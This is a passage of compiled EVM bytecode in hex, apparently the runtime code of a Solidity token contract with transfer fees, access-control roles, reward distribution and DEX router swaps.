d011682016040523d82523d5f602084013e610f0f565b606091505b5050905080610f1c575f80fd5b5050505050565b3073ffffffffffffffffffffffffffffffffffffffff841603610f44575f80fd5b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015283905f9073ffffffffffffffffffffffffffffffffffffffff8316906370a0823190602401602060405180830381865afa158015610fb0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd49190613f16565b905080841115610fe2578093505b610f1c73ffffffffffffffffffffffffffffffffffffffff83163386611b0f565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526001602090815260408083203380855292528220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461109d5783811015611066575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8087165f90815260016020908152604080832093861683529290522084820390555b6110a8868686611b9c565b50600195945050505050565b5f828152602081905260409020600101546110ce81611b05565b610e7f8383611e51565b73ffffffffffffffffffffffffffffffffffffffff811633146110f9575f80fd5b6111038282611f3f565b5050565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909190610db9908290869061114d908790613f2d565b611a5a565b61115d336001611ff4565b565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561118981611b05565b6101f48561ffff16111580156111a557506101f48461ffff1611155b80156111b757506101f48361ffff1611155b80156111c957506101f48261ffff1611155b6111d1575f80fd5b8460195f815481106111e5576111e5613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508360196001600381111561122857611228613f40565b8154811061123857611238613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508260196002600381111561127b5761127b613f40565b8154811061128b5761128b613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508160196003808111156112cd576112cd613f40565b815481106112dd576112dd613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055505050505050565b60198181548110611320575f80fd5b905f5260205f209060109182820401919006600202915054906101000a900461ffff1681565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561137081611b05565b61c3508262ffffff1610611382575f80fd5b8162ffffff165f036115c457600c545f5b81811015611575578473ffffffffffffffffffffffffffffffffffffffff16600c82815481106113c5576113c5613f6d565b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff160361156d576113f6600183613eb2565b81101561150457600c61140a600184613eb2565b8154811061141a5761141a613f6d565b5f91825260209091200154600c805473ffffffffffffffffffffffffffffffffffffffff909216918390811061145257611452613f6d565b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c8054806114a8576114a8613f9a565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905561156d565b600c80548061151557611515613f9a565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555b600101611393565b5050505073ffffffffffffffffffffffffffffffffffffffff165f90815260126020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000169055565b600c545f805b8281101561162f578573ffffffffffffffffffffffffffffffffffffffff16600c82815481106115fc576115fc613f6d565b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff160361162757600191505b6001016115ca565b50806116a557600c80546001810182555f919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87161790555b505073ffffffffffffffffffffffffffffffffffffffff83165f908152601260205260409020805462ffffff84167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000909116179055505050565b611707612104565b61115d5f612127565b6010818154811061171f575f80fd5b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60048054610d2d90613ec5565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490919083811015611791575f80fd5b61179e8286868403611a5a565b506001949350505050565b5f33610db9818585611b9c565b5f828152602081905260409020600101546117d081611b05565b610e7f8383611f3f565b600c818154811061171f575f80fd5b5f5b815181101561183e575f82828151811061180757611807613f6d565b60200260200101519050611835815f01518260200151670de0b6b3a76400006118309190613fc7565b61219d565b506001016117eb565b50611848336121e1565b50565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561187581611b05565b73ffffffffffffffffffffffffffffffffffffffff83165f90815260166020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001683158015919091179091556118dc576118d6835f61221a565b50505050565b6118d6836118e985612331565b61221a565b6118f6612104565b73ffffffffffffffffffffffffffffffffffffffff8116611915575f80fd5b61184881612127565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561194881611b05565b50601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101009515159590950294909417909355601a80547fffffffffffffff000000000000000000000000ffffffff000000ffffffffffff16660100000000000062ffffff948516027fffffffffffffff000000000000000000000000ffffffffffffffffffffffffff161769ffffffffffffffffffff929092166d010000000000000000000000000002919091177fffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffff1663010000009290931691909102919091179055565b601c545f906b033b2e3c9fd0803ce800000090611a509084613fc7565b610cac919061400b565b73ffffffffffffffffffffffffffffffffffffffff8316611a79575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216611a98575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61184881336124ad565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e7f90849061256d565b5f611ba6846125b6565b90505f611bb2846125b6565b305f90815260026020526040812054919250611bcd856126ea565b6dffffffffffffffffffffffffffff169050601160029054906101000a900460ff168015611bfb5750808210155b8015611c0a575060115460ff16155b8015611c305750600b5473ffffffffffffffffffffffffffffffffffffffff8781169116145b15611c9257601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611c6981612748565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b73ffffffffffffffffffffffffffffffffffffffff87165f9081526015602052604090205460ff16158015611cec575073ffffffffffffffffffffffffffffffffffffffff86165f9081526015602052604090205460ff16155b15611d90575f80611cfe878787612ade565b90925090508115611d2257611d138288613eb2565b9650611d228961036984612c29565b8015611d8d57611d328188613eb2565b96505f6064611d42836004613fc7565b611d4c919061400b565b600954909150611d74908b9073ffffffffffffffffffffffffffffffffffffffff1683612c29565b611d7e8183613eb2565b9150611d8b8a3084612c29565b505b50505b611d9b878787612c29565b601154610100900460ff168015611db5575060115460ff16155b15611dd257601a54611dd2906301000000900462ffffff16612d12565b73ffffffffffffffffffffffffffffffffffffffff87165f9081526016602052604090205460ff16611e0d57611e0b876118e989612331565b505b73ffffffffffffffffffffffffffffffffffffffff86165f9081526016602052604090205460ff16611e4857611e46866118e988612331565b505b50505050505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16611103575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168452909152902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611ee13390565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615611103575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b73ffffffffffffffffffffffffffffffffffffffff82165f908152601360205260408120805490918190036120295750505050565b5f61203385610cb2565b90508015610f1c5783156120a05761208273ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a5476168683611b0f565b80836002015f8282546120959190613f2d565b909155506120b79050565b80601b5f8282546120b19190613f2d565b90915550505b80601d546120c59190613f2d565b601d5573ffffffffffffffffffffffffffffffffffffffff85165f9081526017602052604090204290556120f882611a33565b60018401555050505050565b600a5473ffffffffffffffffffffffffffffffffffffffff16331461115d575f80fd5b600a805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6121a8338383612c29565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526016602052604090205460ff1661110357610e7f826118e984612331565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526016602052604090205460ff1661184857611103816118e933612331565b73ffffffffffffffffffffffffffffffffffffffff82165f908152601360205260408120805483811461232957801561225e57612259855f8611611ff4565b600192505b835f036122735761226e85612e8a565b6122fb565b805f036122fb576010805473ffffffffffffffffffffffffffffffffffffffff87165f818152601860205260408120839055600183018455929092527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690911790555b8381601e5461230a9190613eb2565b6123149190613f2d565b601e5583825561232384611a33565b60018301555b505092915050565b600c545f908190815b8181101561246e5761271061ffff1660125f600c848154811061235f5761235f613f6d565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054600c805462ffffff90921691849081106123ac576123ac613f6d565b5f918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152909116906370a0823190602401602060405180830381865afa158015612422573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124469190613f16565b6124509190613fc7565b61245a919061400b565b6124649084613f2d565b925060010161233a565b508161249b8573ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b6124a59190613f2d565b949350505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16611103576124ea81613011565b6124f5836020613030565b60405160200161250692919061401e565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a000000000000000000000000000000000000000000000000000000000825261256491600401613a93565b60405180910390fd5b5f61258e73ffffffffffffffffffffffffffffffffffffffff841683613216565b905080515f14806125ae5750808060200190518101906125ae919061409e565b610e7f575f80fd5b5f8173ffffffffffffffffffffffffffffffffffffffff163b5f036125dc57505f919050565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526014602052604090205460ff166126bf575f8061261384613259565b909250905073ffffffffffffffffffffffffffffffffffffffff8216301480612651575073ffffffffffffffffffffffffffffffffffffffff811630145b156126bc5773ffffffffffffffffffffffffffffffffffffffff84165f908152601460209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00918216811790925560169093529220805490911690911790555b50505b5073ffffffffffffffffffffffffffffffffffffffff165f9081526014602052604090205460ff1690565b601a54600b5473ffffffffffffffffffffffffffffffffffffffff165f90815260026020526040812054909162ffffff1690612726919061400b565b905081816dffffffffffffffffffffffffffff1611156127435750805b919050565b805f036127525750565b604080516003808252608082019092525f916020820160608036833701905050905030815f8151811061278757612787613f6d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600d54604080517fef8ef56f0000000000000000000000000000000000000000000000000000000081529051919093169263ef8ef56f9260048083019391928290030181865afa158015612804573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061282891906140b9565b8160018151811061283b5761283b613f6d565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a5476816002815181106128a9576128a9613f6d565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f917f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a547616906370a0823190602401602060405180830381865afa158015612941573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129659190613f16565b600d5490915061298d90309073ffffffffffffffffffffffffffffffffffffffff1685611a5a565b600d546040517f5c11d79500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690635c11d795906129eb9086905f908790309042906004016140d4565b5f604051808303815f87803b158015612a02575f80fd5b505af1925050508015612a13575060015b506040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f907f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a547673ffffffffffffffffffffffffffffffffffffffff16906370a0823190602401602060405180830381865afa158015612a9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612ac29190613f16565b9050818111156118d657610f1c612ad98383613eb2565b6132d5565b5f808215612b83576127106019600281548110612afd57612afd613f6d565b5f9182526020909120601082040154612b2691600f166002026101000a900461ffff1687613fc7565b612b30919061400b565b91506127106019600381548110612b4957612b49613f6d565b5f9182526020909120601082040154612b7291600f166002026101000a900461ffff1687613fc7565b612b7c919061400b565b9050612c21565b8315612c215761271060195f81548110612b9f57612b9f613f6d565b5f9182526020909120601082040154612bc891600f166002026101000a900461ffff1687613fc7565b612bd2919061400b565b91506127106019600181548110612beb57612beb613f6d565b5f9182526020909120601082040154612c1491600f166002026101000a900461ffff1687613fc7565b612c1e919061400b565b90505b935093915050565b73ffffffffffffffffffffffffffffffffffffffff8316612c48575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216612c67575f80fd5b73ffffffffffffffffffffffffffffffffffffffff83165f9081526002602052604090205481811015612c98575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8085165f8181526002602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612d049086815260200190565b60405180910390a350505050565b6010545f819003612d21575050565b5f805a90505f5b8483108015612d3657508381105b15610f1c57601a546901000000000000000000900463ffffffff168411612d8057601a80547fffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffffff1690555b601a54601080545f926901000000000000000000900463ffffffff16908110612dab57612dab613f6d565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16808352601690915260409091205490915060ff16612e1a575f612df4826118e984612331565b905080158015612e085750612e0882613469565b15612e1857612e18826001611ff4565b505b601a80546901000000000000000000900463ffffffff16906009612e3d8361415e565b91906101000a81548163ffffffff021916908363ffffffff160217905550508180612e6790614182565b9250505a612e759084613eb2565b612e7f9085613f2d565b93505a925050612d28565b73ffffffffffffffffffffffffffffffffffffffff81165f90815260186020526040902054601054612ebd600182613eb2565b821015612f7c575f6010612ed2600184613eb2565b81548110612ee257612ee2613f6d565b5f918252602090912001546010805473ffffffffffffffffffffffffffffffffffffffff9092169250829185908110612f1d57612f1d613f6d565b5f91825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9485161790559290911681526018909152604090208290555b6010805480612f8d57612f8d613f9a565b5f828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590920190925573ffffffffffffffffffffffffffffffffffffffff949094168152601890935250506040812055565b6060610cac73ffffffffffffffffffffffffffffffffffffffff831660145b60605f61303e836002613fc7565b613049906002613f2d565b67ffffffffffffffff81111561306157613061613c8c565b6040519080825280601f01601f19166020018201604052801561308b576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f815181106130c1576130c1613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061312357613123613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f61315d846002613fc7565b613168906001613f2d565b90505b6001811115613204577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106131a9576131a9613f6d565b1a60f81b8282815181106131bf576131bf613f6d565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535060049490941c936131fd816141b9565b905061316b565b50831561320f575f80fd5b9392505050565b606061320f83835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c656400008152506134e8565b5f80613285837f0dfe168100000000000000000000000000000000000000000000000000000000613579565b915073ffffffffffffffffffffffffffffffffffffffff8216156132d0576132cd837fd21220a700000000000000000000000000000000000000000000000000000000613579565b90505b915091565b5f81156127435750805f60646132ec836004613fc7565b6132f6919061400b565b6007549091506133409073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a54768116911683611b0f565b6008546133879073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a54768116911683611b0f565b600954601b546133d29173ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a5476811692911690611b0f565b6133dd816002613fc7565b6133e79083613eb2565b5f601b81905590925060646133fd856005613fc7565b613407919061400b565b905061341281613688565b61341c8184613eb2565b925082601f5461342c9190613f2d565b601f55601e54613448846b033b2e3c9fd0803ce8000000613fc7565b613452919061400b565b601c5461345f9190613f2d565b601c555050919050565b601a5473ffffffffffffffffffffffffffffffffffffffff82165f90815260176020526040812054909142916134ae916601000000000000900462ffffff1690613f2d565b108015610cac5750601a546d010000000000000000000000000090046bffffffffffffffffffffffff166134e183610cb2565b1192915050565b6060824710156134f6575f80fd5b5f808673ffffffffffffffffffffffffffffffffffffffff16858760405161351e91906141ed565b5f6040518083038185875af1925050503d805f8114613558576040519150601f19603f3d011682016040523d82523d5f602084013e61355d565b606091505b509150915061356e87838387613976565b979650505050505050565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000851617905290515f918291829173ffffffffffffffffffffffffffffffffffffffff8716916135fb91906141ed565b5f60405180830381855afa9150503d805f8114613633576040519150601f19603f3d011682016040523d82523d5f602084013e613638565b606091505b509150915081158061364957508051155b15613658575f92505050610cac565b805160200361367e578080602001905181019061367591906140b9565b92505050610cac565b505f949350505050565b805f036136925750565b604080516003808252608082019092525f91602082016060803683370190505090507f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a5476815f815181106136e7576136e7613f6d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600d54604080517fef8ef56f0000000000000000000000000000000000000000000000000000000081529051919093169263ef8ef56f9260048083019391928290030181865afa158015613764573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061378891906140b9565b8160018151811061379b5761379b613f6d565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526137cb600243614208565b156137ee57600f5473ffffffffffffffffffffffffffffffffffffffff16613808565b600e5473ffffffffffffffffffffffffffffffffffffffff165b8160028151811061381b5761381b613f6d565b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600d546040517f095ea7b30000000000000000000000000000000000000000000000000000000081529082166004820152602481018490527f00000000000000000000000078d58247be592f3cb7b87a5650c6b466ce4a54769091169063095ea7b3906044016020604051808303815f875af11580156138c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906138e4919061409e565b50600d546040517f5c11d79500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690635c11d795906139459085905f9086906103699042906004016140d4565b5f604051808303815f87803b15801561395c575f80fd5b505af192505050801561396d575060015b15611103575050565b606083156139ad5782515f036139a65773ffffffffffffffffffffffffffffffffffffffff85163b6139a6575f80fd5b50816124a5565b6124a583838151156139c25781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125649190613a93565b73ffffffffffffffffffffffffffffffffffffffff81168114611848575f80fd5b5f60208284031215613a27575f80fd5b813561320f816139f6565b5f60208284031215613a42575f80fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461320f575f80fd5b5f5b83811015613a8b578181015183820152602001613a73565b50505f910152565b602081525f8251806020840152613ab1816040850160208701613a71565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b5f8060408385031215613af4575f80fd5b8235613aff816139f6565b946020939093013593505050565b8015158114611848575f80fd5b803562ffffff81168114612743575f80fd5b5f8060408385031215613b3d575f80fd5b8235613b4881613b0d565b9150613b5660208401613b1a565b90509250929050565b5f805f60608486031215613b71575f80fd5b8335613b7c816139f6565b92506020840135613b8c816139f6565b929592945050506040919091013590565b5f60208284031215613bad575f80fd5b5035919050565b5f8060408385031215613bc5575f80fd5b823591506020830135613bd7816139f6565b809150509250929050565b803561ffff81168114612743575f80fd5b5f805f8060808587031215613c06575f80fd5b613c0f85613be2565b9350613c1d60208601613be2565b9250613c2b60408601613be2565b9150613c3960608601613be2565b905092959194509250565b5f8060408385031215613c55575f80fd5b8235613b48816139f6565b5f8060408385031215613c71575f80fd5b8235613c7c816139f6565b91506020830135613bd7816139f6565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6040805190810167ffffffffffffffff81118282101715613cdc57613cdc613c8c565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715613d2957613d29613c8c565b604052919050565b5f60208284031215613d41575f80fd5b813567ffffffffffffffff811115613d57575f80fd5b8201601f81018413613d67575f80fd5b803567ffffffffffffffff811115613d8157613d81613c8c565b613d9060208260051b01613ce2565b8082825260208201915060208360061b850101925086831115613db1575f80fd5b6020840193505b82841015610d165760408488031215613dcf575f80fd5b613dd7613cb9565b8435613de2816139f6565b8152602085810135818301529083526040909401939190910190613db8565b5f8060408385031215613e12575f80fd5b8235613e1d816139f6565b91506020830135613bd781613b0d565b5f805f8060808587031215613e40575f80fd5b8435613e4b81613b0d565b9350613e5960208601613b1a565b9250604085013569ffffffffffffffffffff81168114613e77575f80fd5b9150613c3960608601613b1a565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b81810381811115610cac57610cac613e85565b600181811c90821680613ed957607f821691505b602082108103613f10577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b5f60208284031215613f26575f80fd5b5051919050565b80820180821115610cac57610cac613e85565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b8082028115828204841417610cac57610cac613e85565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f8261401957614019613fde565b500490565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081525f8351614055816017850160208801613a71565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351614092816028840160208801613a71565b01602801949350505050565b5f602082840312156140ae575f80fd5b815161320f81613b0d565b5f602082840312156140c9575f80fd5b815161320f816139f6565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561413157835173ffffffffffffffffffffffffffffffffffffffff168352602093840193909201916001016140fd565b505073ffffffffffffffffffffffffffffffffffffffff9590951660608401525050608001529392505050565b5f63ffffffff821663ffffffff810361417957614179613e85565b60010192915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036141b2576141b2613e85565b5060010190565b5f816141c7576141c7613e85565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b5f82516141fe818460208701613a71565b9190910192915050565b5f8261421657614216613fde565b50069056fea2646970667358221220c01615dbe25c844f68abccdd5ac32f77c2f4c9ba32dc5f32f59440fd7a5367bf64736f6c634300081a0033